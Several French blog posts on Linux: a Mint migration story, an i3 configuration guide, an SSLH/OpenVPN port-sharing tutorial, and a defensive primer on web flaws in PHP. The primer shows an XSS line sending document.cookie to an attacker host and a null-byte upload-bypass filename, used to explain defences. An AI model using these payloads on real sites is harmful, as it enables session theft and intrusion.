La deuxième migration est plus complexe. L'étudiante qui fait une école de commerce a toujours baigné dans les outils Microsoft : Windows, Word etc. Elle utilise notamment quelques fonctions avancées d'Excel. Sinon pour le reste c'est du classique : des vidéos, du mail et du web.

Elle aimerait avoir les mêmes comportements auxquels elle a été habituée sous Windows. Par exemple, lorsque son câble d'alimentation se débranche il faut que son ordinateur joue un bruit. Il faut aussi qu'elle puisse avoir accès à sa partition Windows sous son Linux. Tout n'était pas particulièrement évident car il a fallu manipuler le fstab et créer une règle udev.

Je lui installe aussi Linux Mint vu que j'ai eu une bonne première expérience. Je mets par défaut notre bon vieux VLC national, Firefox et LibreOffice. Pour VLC et Firefox rien de bien folichon à signaler, il faut juste faire attention que les bons plugins/extensions soient installés. En effet, il faut lui éviter les difficultés sur le web qui lui feraient penser "ça marche pas, Linux c'est de la merde" (au lieu de se dire "les devs derrière ce site sont des tanches").

Les premières semaines se passent pas trop mal, tout va bien. Par contre autant dire que de passer de Microsoft Office à Libre Office ce n'est pas forcément la joie pour elle. Elle n'aime pas vraiment Writer, et Calc n'est pas toujours compatible avec ses feuilles de calcul Excel (macros toussa toussa). Il lui arrive aussi d'avoir des problèmes de compatibilité avec les fichiers des autres étudiants (les format libres et ouverts c'est surfait). Mais bon lorsqu'elle a ce genre de cas rien ne l'empêche de revenir sous Windows (et de sentir sa douleur au démarrage) pour utiliser les outils de l'Empire du mal.

Teamviewer est un outil très pratique (non libre) qui permet de contrôler un ordinateur à distance. Il m'a bien aidé quand j'ai dû traficoter le User-Agent de Firefox pour qu'il puisse lire les vidéos de Netflix en HTML5 (que du plaisir...). J'aimerais trouver une alternative libre à Teamviewer aussi simple à mettre en place et qui permette de traverser les pares-feu/NAT mais je n'ai encore rien trouvé. Si vous avez des suggestions n'hésitez pas.

Encore une fois, là aussi toutes les 3 semaines j'ai juste à appuyer sur deux boutons pour mettre à jour tout son système.

Conclusion du jour bonjour

Ces deux expériences m'ont fait comprendre que le principal souci/challenge de ce genre de migration c'est le fait que les gens ne veulent pas changer leurs habitudes Windowsiennes. Il faut donc essayer de trouver une parade à chaque logiciel non compatible avec le GNU. C'est relativement facile pour les utilisateurs qui font de la bureautique, mais dès qu'ils utilisent des choses un peu plus spécialisées ça risque d'être très compliqué.

J'aime beaucoup le couple Mint/Cinammon qui permet de ne pas trop dérouter l'utilisateur : il se retrouve avec sa barre des tâches, son petit menu en bas à gauche et son bureau. Peu de choses diffèrent réellement de Windows pour une utilisation classique. De plus, son installation est vraiment sympa et rapide à faire (que ce soit pour du dual boot ou autre).

On dit souvent que GNU/Linux n'est pas prêt pour le Desktop. Alors oui il y a beaucoup d'hétérogénéité ce qui pose des problèmes de complexité et de cohérence mais quand je vois comment galèrent certains utilisateurs de Windows je me dis que du Linux sur Desktop c'est que du bonheur.

P.S: Merci aux amis Phipe et SpF pour la relecture ;)

Lorsqu'on installe une distribution GNU/Linux classique (Ubuntu, Debian, Mint...), on a généralement le choix entre plusieurs environnements de bureau comme pour les plus connus KDE, Gnome, XFCE... Chacun possède son propre gestionnaire de fenêtre plutôt classique où on redimensionne/déplace les fenêtres à l'aide de la souris comme sous Windows ou Mac OS par exemple.

Il existe une autre catégorie de gestionnaires de fenêtres appelée tiling manager permettant d'organiser ses fenêtres automatiquement de façon à ce qu'elles prennent tout l'espace disponible de l'écran. Ce ne sont pas des environnements de bureau donc ils ne viennent pas avec 35 000 paquets qui peuvent ne pas vous servir. À vous de voir quels outils vous voulez pour visionner une image, lire un film, naviguer dans les fichiers... À la carte donc :)

Il existe de nombreux tilings manager : awesome, xmonad, i3.... J'ai choisi ici de présenter i3.

Installation

Sur ArchLinux, le paquet est nommé i3-wm. Au reboot, via votre gestionnaire de connexion sélectionnez i3 et le tour est joué. Je vous laisse vous référer à la documentation de votre distribution pour savoir comment installer i3.

Principes

Je vous conseille de jeter un oeil sur la très bonne documentation disponible. Pour résumer vous choisissez la touche nommée mod qui vous servira pour exécuter des actions. Dans mon cas j'ai choisi la touche SUPER (vous savez celle avec le logo windows). Cette touche combinée à d'autres vous permet de naviguer entre les workspaces, déplacer les fenêtres, changer le mode de tiling etc.

En parlant de mode de tiling vous en avez 3 :

• stacking : les différentes fenêtres sont disposées en "pile". Vous pouvez naviguer entre elles via mod+flèches haut/bas
  

• tabbed : les fenêtres sont disposées comme dans un navigateur internet. Vous pouvez naviguer entre elles via mod+flèches droite/gauche
  

• split : toutes les fenêtres partagent l'espace de votre bureau. Vous pouvez naviguer entre elles via mod+flèches droite/gauche/haut/bas
  

Enfin, une fenêtre peut se soustraire au mode tiling en passant en mode flottant. Si une fenêtre est flottante, i3 ne gère plus son positionnement et sa taille ce qui veut dire que vous pouvez la déplacer/redimensionner directement à la souris. Ce mode est principalement utilisé pour toutes les fenêtres "volantes" (applet, boite de dialogue etc). En revanche ce genre de fenêtre sera toujours au dessus de toutes les autres.

Combinaisons de touches utiles

Avant de parler de la configuration, voici quelques combinaisons par défaut pour vous aider à prendre en main le gestionnaire :

• mod+Return : ouvre un terminal (tel que défini dans la configuration)
• mod+d : ouvre le launcher (tel que défini dans la configuration)
• mod+numero : se déplacer au workspace numéro...
• mod+Shift+numero : déplacer la fenêtre active au workspace numéro...
• mod+z : changer le mode du tiling en tabbed
• mod+s : changer le mode du tiling en stacking
• mod+e : changer le mode du tiling en split. Refaire cette combinaison alors qu'on est déjà en mode split inverse son sens (horizontal/vertical)
• mod+f : passer en mode plein écran
• mod+Shift+q : kill l'application active
• mod+flêches : navigue entre les différentes fenêtres du workspace
• mod+Shift+space : active/désactive le mode flottant pour la fenêtre courante

Configuration globale

Lorsqu'on installe i3, on ne dispose d'aucun outil comme c'est le cas avec des environnements de bureau complets (XFCE, Gnome...) qui viennent avec leurs propres outils de terminal, launcher etc. Ici c'est à vous de choisir personnellement chacun des outils que vous voulez utiliser. Autant dire que si on est tout nouveau dans l'environnement GNU/Linux c'est pas forcément évident.

Vous trouverez le fichier de configuration d'i3 dans ~/.config/i3. Comme vous pourrez le constater il est déjà bien fourni par défaut.

Terminal

Dans ce fichier vous trouverez la ligne $mod+Return exec i3-sensible-terminal. Cela veut dire que si vous faites un mod+Return i3 exécutera i3-sensible-terminal. Il s'agit d'un wrapper que vous pouvez modifier en surchargeant la variable d'environnement TERMINAL. Vous pouvez par exemple créer un fichier ~/.profile avec export TERMINAL="urxvtc" à l'intérieur.

Bindings

J'ai trouvé la configuration par défaut très bonne donc je n'ai pas fait de grandes modifications. J'ai simplement ajouté la ligne suivante me permettant de faire facilement un alt+f4 (que j'apprécie beaucoup). J'utilise aussi le programme Synapse au lieu de dmenu comme launcher d'applications.

bindsym $alt+F4      kill
bindsym $mod+d exec synapse

Raccourcis d'application

Il est possible d'ajouter des raccourcis d'application. En effet, les touches fn ne sont pas forcément reconnus et il faut donc (légèrement) bricoler. L'option --no-startup-id empêche grossomodo d'avoir la souris qui se met en mode "je réfléchis" (souvent avec un petit cercle qui tourne) en attendant que l'application se lance.

En ce qui concerne les contrôles pour PulseAudio pilotables avec des touches média :

# Pulse Audio controls
bindsym XF86AudioRaiseVolume exec --no-startup-id pactl set-sink-volume alsa_output.pci-0000_00_1b.0.analog-stereo +5%
bindsym XF86AudioLowerVolume exec --no-startup-id pactl set-sink-volume alsa_output.pci-0000_00_1b.0.analog-stereo -5%
bindsym XF86AudioMute exec --no-startup-id pactl set-sink-mute alsa_output.pci-0000_00_1b.0.analog-stereo toggle

De même, le pilotage du rétro éclairage du clavier via les touches fn :

bindsym XF86KbdBrightnessUp exec --no-startup-id kbd_backlight.sh up
bindsym XF86KbdBrightnessDown exec --no-startup-id kbd_backlight.sh down

Pour faire une imprim' écran, j'utilise l'outil maim. Il permet de sélectionner une zone sur l'écran. Le || permet de faire en sorte que si je fais un clic droit (au lieu d'un clic gauche pour sélectionner ma zone) le programme fera un screen de tout l'écran.

bindsym Print exec --no-startup-id maim -s ~/Desktop/screen_$(date +%F-%T).png || maim ~/Desktop/region_$(date +%F-%T).png

En ce qui concerne le pilotage du player audio via une combinaison de touche (si votre clavier n'a pas les touches médias associées par exemple) :

bindsym $mod+Control+Left exec playerctl previous
bindsym $mod+Control+Right exec playerctl next
bindsym $mod+Control+Down exec playerctl play-pause
bindsym $mod+Control+Up exec playerctl stop

Enfin, du divers :

# Locker le screen sur fond noir
bindsym $mod+l exec --no-startup-id i3lock -c 000000
# Aller à la fenêtre "urgente"
bindsym $mod+u [urgent=latest] focus
# Ouvrir le navigateur de fichier
bindsym $mod+t exec --no-startup-id thunar
# Aller au workspace suivant/précédent
bindsym $mod+$alt+Right workspace next
bindsym $mod+$alt+Left workspace prev

Éteindre l'ordinateur

Vous l'avez peut-être constaté, il n'y a pas de menu permettant de faire des actions sur la session courante comme éteindre l'ordinateur, se déconnecter etc. Il va falloir le créer nous même (crédits wiki ArchLinux) :

set $Locker i3lock && sleep 1

set $mode_system System (l) lock, (e) logout, (s) suspend, (h) hibernate, (r) reboot, (Shift+s) shutdown
mode "$mode_system" {
  bindsym l exec --no-startup-id $Locker, mode "default"
  bindsym e exec --no-startup-id i3-msg exit, mode "default"
  bindsym s exec --no-startup-id $Locker && systemctl suspend, mode "default"
  bindsym h exec --no-startup-id $Locker && systemctl hibernate, mode "default"
  bindsym r exec --no-startup-id systemctl reboot, mode "default"
  bindsym Shift+s exec --no-startup-id systemctl poweroff -i, mode "default"  

  bindsym Return mode "default"
  bindsym Escape mode "default"
}

bindsym $mod+Pause mode "$mode_system"

Ce bout de code lancera un petit menu si vous appuyez sur mod+Pause où vous pourrez choisir parmi différentes actions (notamment éteindre l'ordinateur).

Applications au démarrage

Il est possible de lancer certaines applications au démarrage. Voici ma liste :

# Active le pavé numérique
exec --no-startup-id numlockx on
# Lance un petit script qui change le wallpaper à intervalle régulier
exec --no-startup-id wallpaper.sh
# Lance le démon Urxvt (terminal)
exec --no-startup-id urxvtd -q -o -f
# Permet d'avoir de la transparence, I3 de le gère pas de base
exec --no-startup-id compton
# Programme de notification (daemon)
exec --no-startup-id dunst
# Lance l'applet de Network Manager
exec --no-startup-id nm-applet

Applications flottantes

Certaines applications ont besoin d'être toujours flottantes. C'est le cas par exemple l'applet de Seafile :

On peut le spécifier dans la configuration de cette manière :

for_window [class="Seafile"] floating enable

Barre de statut

Il est possible d'avoir une barre de statut afin d'afficher les informations qui vous semblent importantes (conso CPU, date, RAM, réseau, batterie, mails etc). Vous avez plusieurs utilitaires disponibles. J'ai personnellement choisi i3pystatus car proposant pas mal de plugins intéressants. Vous pouvez le configurer via le fichier ~/.config/i3/pystatus.py.

Je vais faire un tour rapide des plugins que j'utilise mais vous trouverez une très bonne documentation sur le site de i3pystatus. Vous pouvez voir ici la liste des modules disponibles.

Vérifier sa connexion internet

Par défaut i3pystatus vérifie que vous ayez une connexion internet avant de faire des requêtes (par exemple pour la météo) en envoyant une requête DNS chez Google. C'est pas glop et ça peut ne pas fonctionner derrière un firewall d'entreprise par exemple. La bonne nouvelle c'est que vous pouvez le changer :

status = Status(standalone=True, internet_check=('mondomaine.tld', 80))

Date et heure

status.register("clock",
    format="%a %-d %b %X KW%V",)

Météo

Vous pouvez trouver votre location_code sur le site http://www.weather.com/.

from i3pystatus.weather import weathercom
status.register(
    'weather',
    format='{current_temp}{temp_unit}{icon} {humidity}%',
    colorize=True,
    backend=weathercom.Weathercom(
        location_code='42000:4:FR',
    ),
)

Mémoire RAM

status.register("mem",
    log_level=10,
    format="Mem: {percent_used_mem}%",)

CPU

Pour le pourcentage d'usage courant :

status.register("cpu_usage")

Pour avoir un graphe (en UTF-8 :) ) :

status.register("cpu_usage_graph",
    graph_style="blocks",
    format="{cpu_graph}")

Et enfin sa fréquence :

status.register("cpu_freq",
    format="{avgg}Ghz)",)

Température

status.register("temp",
    format="{temp:.0f}°C",)

Disque

Si vous avez plusieurs disques vous pouvez choisir le point de montage. Par exemple pour un SSD et un disque dur :

status.register("disk",
    path="/home",
    critical_limit=10,
    interval=600,
    format="SSD {avail}G Av.",)

status.register("disk",
    critical_limit=100,
    path="/mnt/storage",
    interval=600,
    format="HDD {avail}G Av.",)

Réseau

Les kb/s en direct avec le graphe associé :

status.register("network",
    interface="wlan0",
    interval=1,
    graph_style="blocks",
    format_up="{network_graph} {packets_recv:04}kbs/{packets_sent:04}kbs",)

Le SSID sur lequel vous êtes connecté avec la qualité de connexion :

status.register("network",
    interface="wlan0",
    interval=60,
    format_up="{essid} {quality:03.0f}%",)

VPN

Si vous avez OpenVPN, vous pouvez voir si il est actif ou non :

status.register("openvpn",
    format="VPN {status}",
    vpn_name="client")

Batterie

Pour voir le pourcentage de batterie qu'il nous reste :

status.register("battery",
    format="{status}/{consumption:.2f}W {percentage:.2f}% [{percentage_design:.2f}%] {remaining:%E%hh:%Mm}",
    alert=True,
    alert_percentage=5,
    status={
        "DIS": "↓",
        "CHR": "↑",
        "FULL": "=",
    },)

Et faire une approximation du temps qu'il nous reste :

status.register("battery",
    format="{status} {remaining:%E%hh:%Mm}",
    alert=True,
    alert_percentage=5,
    status={
        "DIS":  "Discharging",
        "CHR":  "Charging",
        "FULL": "Bat full",
    },)

Volume son

Par exemple si vous utilisez PulseAudio :

status.register("pulseaudio",
    format="♪{volume}",)

Email

Il est possible de connaître les emails reçus selon différentes sources (imap, thunderbird...) : http://docs.enkore.de/i3pystatus/i3pystatus.html#mail-backends

from i3pystatus.mail import thunderbird
status.register("mail",
    backends=[
        thunderbird.Thunderbird()
    ],
    email_client='i3-msg -q [class="^Thunderbird$"] focus',)

Pour Thundebird vous aurez besoin d'une extension notifiant DBus lors de l'arrivée de nouveaux emails.

Now playing

Simplement :

status.register("now_playing")

Conclusion

i3 m'a permis d'exploiter intelligemment l'espace disponible sur mon écran, de minimiser l'utilisation de la souris et est beaucoup plus léger que les environnements de bureau (on y gagne en performance, autonomie...).
Il ne vient avec aucun outil ce qui peut être un avantage pour certain ou un inconvénient pour d'autres.
Je n'ai pas utilisé d'autres tiling managers, mais j'apprécie beaucoup i3 qui est relativement facile à prendre en main, possède une documentation complète et accessible ainsi qu'une configuration simple à modifier.

Cet article va essayer de passer en revue les principales failles lorsqu'on développe une application web. Il est principalement orienté langages scriptés (notamment PHP) mais reprend des concepts qui sont relativement globaux aux différents langages.

Il n'a pas pour but d'être exhaustif, mais n'hésitez pas si vous voulez compléter :)

Les mots de passe

On commence doucement mais ça reste une notion quand même très importante (demandez à TV5Monde). Il est important de mettre un mot de passe contenant des lettres, chiffres ET caractères spéciaux. Surtout si vous ne limitez pas le nombre d'essais possibles pour rentrer le mot de passe, tant les scripts d'attaques par force brute sont facile à créer.

EDIT: @Augier m'a fait remarquer qu'utiliser une passephrase ne contenant que des lettres était beaucoup plus efficace qu'un mot de passe avec des caractères spéciaux. En effet, le mot de passe avec caractères spéciaux est plus difficile à retenir et donc on a tendance à utiliser le même sur tous les sites internet. De plus une passephrase pourra avoir une longueur importante tout en étant facile à mémoriser. Attention tout de même à ne pas faire une simple association de mots du dictionnaire, ce qui rendrait l'attaque par brute force plus facile.

Sécurisez votre serveur web

Le problème des scripts web de base sans gestion des routes, c'est que généralement on les couple à un serveur web qui renvoie n'importe quel fichier considéré comme statique (image, vidéo, musique...).
Maintenant prenons un exemple tout bête : vous modifiez rapidement un fichier PHP avec Gedit. Au cas ou vous ne le sauriez pas, celui-ci crée automatiquement un fichier de sauvegarde : fichier.php~. Si votre serveur web n'a pas une politique de sécurité suffisante, il renverra le fichier en plain/text à quiconque ira sur http://votresite.com/fichier.php~.

Aussi, il vaut mieux interdire à votre serveur web de lister le contenu de vos dossiers (index) afin d'éviter à n'importe qui de faire une petite visite de votre arborescence.

Dernière chose n'utilisez pas la balise d'Apache pour restreindre l'accès à vos fichier, il est possible de le contourner (si vous voulez en savoir plus : http://www.segmentationfault.fr/securite-informatique/contourner-htaccess-limit-get-post/).

Je vous conseille simplement d'étudier les différentes politiques de sécurité de votre serveur web, ça peut sauver votre site internet (et peut-être même des bébés panda).

Fichiers d'installations CMS

Si vous avez un serveur dédié/VPS et que vous analysez un peu vos logs, vous savez que des robots testent régulièrement les URL des fichiers d'installation des CMS les plus connus (Wordpress, Joomla...). Pensez donc bien à les protéger/supprimer si votre CMS ne s'en occupe pas déjà.

Les cookies

Les cookies sont du côté utilisateur et peuvent de ce fait facilement être trafiqués par ce dernier. Vérifiez donc à chaque fois les informations envoyées !

Failles XSS

Ce type de faille permet de faire exécuter un script au client. Exemple tout bête : un utilisateur poste un billet contenant <script>alert('coucou')</script>. Si vous ne sécurisez pas l'affichage, alors chaque utilisateur qui chargera la page du billet aura une popup qui s'affichera. Dans le cas un peu plus embêtant, on vous fera exécuter ce genre de code : <script>window.open("http://sitedumechant.com/Cookie="+document.cookie)</script>. L'attaquant n'aura plus qu'à regarder les logs de son serveur, et bingo pourra voler vos cookies et donc utiliser votre compte.

Pour éviter ce genre de choses, échappez les données utilisateur que vous voulez afficher avec les fonctions mises à disposition par votre langage/module (htmlspecialchars etc).

Register globals (PHP)

Cette option est à "faux" par défaut depuis quelques temps, et heureusement ! En gros ça permet de pouvoir accéder à vos variables $_GET['username'] par simplement $username. Ça économise des caractères pour le développeur, sauf que du coup n'importe qui peut injecter des variables à vos scripts PHP en modifiant l'URL. Et ça c'est suicidaire.

Cross-Site Request Forgery

Ou autrement appelée CSRF, c'est assez bête. Imaginez que vous sachiez que pour supprimer un post sur un forum un utilisateur ayant les droits appropriés (modérateur, admin...) doit aller sur l'url /forum/post/11/delete. Il suffit à un autre utilisateur de lui envoyer ce lien camouflé en lui disant "tiens regarde ce magnifique chaton" et voilà il a réussi à vous faire supprimer un post.
Les principales solutions pour éviter ce genre de piège :

• Ajouter des messages de confirmation pour certaines actions critiques
• Utiliser des requêtes POST
• Vérifier que le referer de la requête provient bien de votre propre site web
• Se déconnecter une fois que les actions nécessitant des privilèges sont terminées
• Ne pas charger automatiquement des images d'expéditeurs non vérifiées par mail ou cliquer sur n'importe quel lien qu'on vous balance

Redirection non contrôlée

Lorsque vous faites une redirection dans votre script web, prenez bien en compte le fait que le reste du script est exécuté et donc que le client peut récupérer les informations potentiellement écrites après la ligne de redirection.
Prenons un exemple en PHP. On choisit de vérifier les valeurs envoyées par paramètre via la page admin.php puis, si elles sont incorrectes on redirige l'utilisateur avec un 302 via l'instruction header('location : ...'). Sauf que si vous ne faites pas un exit juste après, les données qui suivent (par exemple le menu d'administration de votre site) peuvent parfaitement être lues par le client.

La faille CRLF

CRLF pour CR et LF qui sont des abréviations de Carriage Return (retour à la ligne) et Line Feed (fin de ligne) que l'on peut coder en hexadécimal par %0d et %0a.
Un attaquant peut alors s'en servir pour créer des retours à la ligne ! Bon d'accord ça parait pas folichon aux premiers abords. Mais imaginez que vous recopiez les données rentrées par le client dans un fichier. Ce dernier peut alors y écrire un peu ce qu'il veut.
Il peut tout aussi bien générer des headers (et donc potentiellement du contenu) simplement via une URL. Je vous laisse regarder ici si vous voulez en savoir plus : http://www.acunetix.com/websitesecurity/crlf-injection/.

Upload de fichiers

Généralement votre serveur web est configuré pour exécuter vos fichiers avec une certaine extension (par exemple les .php).
Maintenant partons du principe que vous donnez la possibilité à l'utilisateur d'avoir un avatar. Si vous ne faites aucune vérification sur l'image uploadée et que vous ne générez pas votre propre URL alors l'attaquant peut tranquillement envoyer un fichier PHP puis aller sur l'URL du script. Le serveur l'exécutera alors automatiquement.

Comment éviter ce genre d'attaque ?

La vérification du Mime Type n'est pas suffisante car on peut facilement le trafiquer en altérant les données de la requête POST.
Il faut faire une vérification de la dernière extension directement dans le script (en faisant attention à la faille nullbyte, voir après) et ne pas faire confiance à Apache là dessus. En effet il considère qu'un fichier peut avoir des extensions inutiles (comme le .fr de index.html.fr). Et du coup peut considérer un fichier coucou.php.666 comme étant un fichier PHP, et donc l'exécuter. Une technique supplémentaire est de sécuriser le dossier d'upload (interdire toute exécution de scripts de ce dossier précis).

Local Faille Inclusion

Lorsque vous faites des inclusions qui peuvent dépendre de paramètres de l'URL par exemple, encore une fois vérifiez toujours les données (règle d'or). Ceci particulièrement lorsque vous utilisez des fonctions permettant de lire/parcourir des dossiers. Si vous ne vérifiez pas les données, n'importe qui en trafiquant les paramètres pourrait potentiellement lister n'importe lequel de vos dossiers et ensuite lire n'importe quel fichier (dont celui comprenant vos identifiants de connexion par exemple).

Si vous utilisez des sortes de include ou require, il est quand même possible à un vilain de lire vos fichiers inclus, alors même qu'ils sont censés être interprétés en PHP.
En effet, il est possible en PHP d'utiliser des filtres de stream. Imaginez donc que vous fassiez sans vérifications un include($_GET['include']). Ce paramètre étant récupéré via l'URL, si l'attaquant spécifie un autre fichier votre script va l'inclure. Vous vous dites qu'au pire ça causera simplement des erreurs (fichiers inexistant, pas un fichier PHP etc). Par contre couplé a un wrapper genre encode ça peut tout simplement sortir le contenu du fichier PHP en base64. Vous avez ensuite qu'à décoder, et félicitations vous pouvez lire le contenu du fichier PHP contenant les identifiants à la BDD. Voici un article sympa en français si vous souhaitez en apprendre un peu plus sur le sujet.

Null Byte Poisoning

Le PHP utilise des fonctions C notamment dans la gestion des fichiers. Or en C, la fin d'une chaîne de caractère est spécifiée par le caractère '\0'. Du coup certaines fonctions vont considérer ces chaînes jusqu'à la première occurrence d'un octet nul.

Reprenons notre exemple du formulaire qui ne souhaite que des fichiers aux formats jpeg/jpg, png et gif.
Pour rappel, le caractère nul est codé en hexadécimal par... %00. Si le script serveur fait une vérification sur le nom du fichier et que vous envoyez fichier.php.%00.png autant vous dire que ça a des chances de passer comme une lettre à la poste selon les fonctions que vous utilisez.

La faille est surtout exploitable via les fonctions include, require et compagnie en PHP. Faites donc bien toujours des vérifications sur les fichiers que vous voulez inclure.

Injections SQL/LDAP/XPath

Je ne vais pas rentrer dans les détails car il faudrait à mon avis un article entier pour l'expliquer. Et surtout d'autres sites proposent de très bonnes explications. En gros, cette faille se manifeste quand vous construisez et exécutez des requêtes (SQL ou LDAP par exemple) en incluant des données non vérifiées de l'utilisateur. Cela lui permet alors de bidouiller et donc réécrire la requête un peu comme il veut.
La mesure la plus simple et la plus efficace est d'utiliser des requêtes préparées. Cette dernière est ainsi compilée, puis vous injectez ensuite les données de l'utilisateur. Faites simplement attention de ne pas injecter des données à la préparation de la requête, sinon ça perd tout son sens.

Conclusion

J'ai présenté grossièrement la plupart des failles les plus connues. Libre à vous de vous documenter un peu plus ;)

Si le sujet vous intéresse je vous conseille l'excellent http://www.root-me.org/ qui propose des challenges de sécurité sur des sujets divers et variés.
Vous pouvez aussi jeter un coup d'oeil à https://www.owasp.org/index.php/Main_Page qui est une organisation à but non lucratif ayant pour but d'améliorer la sécurité des applications. Ils produisent notamment un document "Top 10" des failles les plus critiques pour les applications web. Par exemple pour 2013.

Il se peut que vous vouliez vous monter un VPN sur votre serveur. Le principal soucis c'est que dans certains réseaux (entreprises, écoles...) quasi tous les ports sont fermés à l'exceptions des ports web (80/443). Vous décidez donc de mettre votre VPN en écoute sur le port 443 et tout fonctionne parfaitement.

Puis un jour vous voulez ajouter TLS à votre site internet. Et là c'est le drame. Dilemme (lemme) : vous gardez le VPN ou la sécurité de votre site ? Que nenni mon bon monsieur, il est tout à fait possible de garder les deux !

Première solution : port-share d'OpenVPN

OpenVPN sait différencier les paquets qui lui sont destinés, et les autres. Il peut donc faire office de proxy et rerouter les paquets sur un autre port.

C'est ce que permet la directive port-share :

port-share 127.0.0.1 1443

De ce fait si vous avez un serveur web qui écoute en HTTPS sur le port 1443, un visiteur se connectant sur votre site internet en HTTPS (donc sur le port 443) y accédera sans se rendre compte que le trafic est passé par OpenVPN.

De l'autre côté, si un utilisateur de votre VPN se connecte à votre serveur alors OpenVPN saura que ces paquets lui sont destinés et ne les transmettra donc pas à votre serveur web. Vous partagez donc un port pour deux services différents. Elle est pas belle la vie ? :)

Tout n'est pas rose

En effet, il y a plusieurs défauts à cette directive. La principale c'est que si votre OpenVPN plante alors votre serveur web n'est plus accessible via HTTPS. Autant dire que vous n'avez pas intérêt à changer votre configuration OpenVPN sans bien tester ensuite :)

La deuxième est que vous n'aurez plus l'IP du visiteur dans les logs de votre serveur web. Vous aurez simplement "127.0.0.1". En effet, vu que les paquets sont proxifiés par votre OpenVPN qui est sur le même serveur ils possèdent maintenant votre IP locale. Ça peut gêner si vous êtes habitué à faire des stats sur vos visiteurs à l'aide de vos logs.

Enfin, je ne suis pas arrivé à faire fonctionner OpenVPN avec le port-share sur IPV6. Ce bug est peut-être lié ?

Présentation de SSLH

Pour remédier à chacun de ces soucis on peut utiliser un autre programme nous permettant de partager le port 443 entre notre OpenVPN et notre serveur Web (voire plus comme XMPP, SSH...) : SSLH.

Il peut fonctionner avec IPV6 et proxifier les paquets de manière transparente afin de garder l'IP d'origine de ces derniers. Enfin, si votre OpenVPN plante ça n'aura aucune incidence sur votre serveur web :)

Pour l'installer sur une Debian :

# apt-get install sslh

Vous avez le choix entre deux modes : le premier fonctionne dans un seul thread pour toutes les connexions ce qui ajoute peu d'overhead notamment au niveau de l'empreinte mémoire et l'autre crée un processus pour chaque requête. À vous de voir quelle méthode vous convient le plus.

IPV4

La configuration se passe dans le fichier /etc/default/sslh :

RUN=yes
STARTTIME=2
DAEMON=/usr/sbin/sslh
DAEMON_OPTS="--transparent --timeout 5 --user sslh --listen xxx.xxx.xxx.xxx:443 --ssl xxx.xxx.xxx.xxx:1443 --openvpn xxx.xxx.xxx.xxx:2443 --pidfile /var/run/sslh/sslh.pid"

On ajoute l'option --transparent qui nous permet de garder l'adresse IP d'origine, le port sur lequel on écoute ainsi que des ports sur lesquels écoutent OpenVPN et notre serveur Web en SSL. Attention, xxx.xxx.xxx.xxx doit être remplacé par votre vraie adresse IPV4 (et non 127.0.0.1) pour que le mode transparent fonctionne correctement.
Il faut donc qu'OpenVPN et que votre serveur Web écoutent non pas sur le port 443 mais sur les ports que vous avez définis dans ce fichier de configuration.

Il ne nous reste qu'à paramétrer notre pare-feu et notre nouvelle route :

# iptables -t mangle -N SSLH
# iptables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 1443 --jump SSLH
# iptables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 2443 --jump SSLH
# iptables -t mangle -A SSLH --jump MARK --set-mark 0x1
# iptables -t mangle -A SSLH --jump ACCEPT
# ip rule add fwmark 0x1 lookup 100
# ip route add local 0.0.0.0/0 dev lo table 100

Et enfin on lance notre service pour tester qu'on peut bien accéder à notre OpenVPN/serveur web en SSL via le port 443 :

# systemctl start sslh

IPV6

Vous pouvez sauter cette partie si vous voulez rester qu'en IPV4.

Je n'ai pas trouvé moyen de faire fonctionner un seul démon SSLH en mode transparent pour faire le boulot en IPV4 et en IPV6 en même temps.

J'ai donc créé un nouveau service spécialement dédié pour l'IPV6 :

# cp /lib/systemd/system/sslh.service /etc/systemd/system/sslh-ipv6.service
# cp /etc/default/sslh /etc/default/sshl-ipv6

Je sais que c'est pas tip top (oui je suis un peu has been) mais je n'ai pas trouvé une manière plus propre. Si vous avez des idées, n'hésitez pas ;)

On modifie le service pour adapter le nom du fichier de configuration :

[Unit]
Description=SSL/SSH multiplexer
After=network.target

[Service]
EnvironmentFile=/etc/default/sslh-ipv6
ExecStart=/usr/sbin/sslh --foreground $DAEMON_OPTS
KillMode=process

[Install]
WantedBy=multi-user.target

Il nous suffit donc maintenant de paramétrer /etc/default/sslh-ipv6 :

RUN=yes
DAEMON=/usr/sbin/sslh
DAEMON_OPTS="--transparent --timeout 5 --user sslh --listen xxxx:xxxx:xxxx:xxxx::1:443 --ssl xxxx:xxxx:xxxx:xxxx::1:1443 --openvpn xxxx:xxxx:xxxx:xxxx::1:2443 --pidfile /var/run/sslh/sslh.pid"

Encore une fois il vous faut bien spécifier votre adresse IPV6 complète à la place de xxxx:xxxx:xxxx:xxxx. Vos services OpenVPN et serveur web doivent bien entendu écouter en IPV6 sur cette interface/port.

Comme en IPV4 on configure le pare-feu et les routes :

# ip6tables -t mangle -N SSLH
# ip6tables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 1443 --jump SSLH
# ip6tables -t mangle -A OUTPUT --protocol tcp --out-interface eth0 --sport 2443 --jump SSLH
# ip6tables -t mangle -A SSLH --jump MARK --set-mark 0x1
# ip6tables -t mangle -A SSLH --jump ACCEPT
# ip -6 rule add fwmark 0x1 lookup 100
# ip -6 route add local ::/0 dev lo table 100

On finit par lancer notre service :

# systemctl start sslh-ipv6

Et on peut directement tester :)

Attention au reboot

Il faut bien penser à sauvegarder nos règles iptables/ip6tables à l'aide d'un iptables-persistent par exemple pour qu'au reboot on ne perde pas toutes nos règles.

En ce qui concerne les routes on peut l'ajouter à notre fichier /etc/network/interfaces par exemple :

iface eth0 inet dhcp
    post-up ip rule add fwmark 0x1 lookup 100
    post-up ip route add local 0.0.0.0/0 dev lo table 100
    pre-down ip rule delete fwmark 0x1 lookup 100
    pre-down ip route delete local 0.0.0.0/0 dev lo table 100

Et si vous avez IPV6 :

iface eth0 inet6 static
    post-up ip -6 rule add fwmark 0x1 lookup 100
    post-up ip -6 route add local ::/0 dev lo table 100
    pre-down ip -6 rule delete fwmark 0x1 lookup 100
    pre-down ip -6 route delete local ::/0 dev lo table 100

Enfin on active les services SSLH au démarrage :

# systemctl enable sslh
# systemctl enable sslh-ipv6

On reboot, on teste que nos services fonctionnent bien et le tour est joué :)

Des robots sillonnent Internet à la recherche de serveurs non sécurisés. Il est primordial de les bannir afin de les empêcher de trop essayer de combinaisons de mots de passe (même si ce dernier est robuste). Qui plus est ça évitera de trop pourrir vos logs avec des tentatives de connexion.
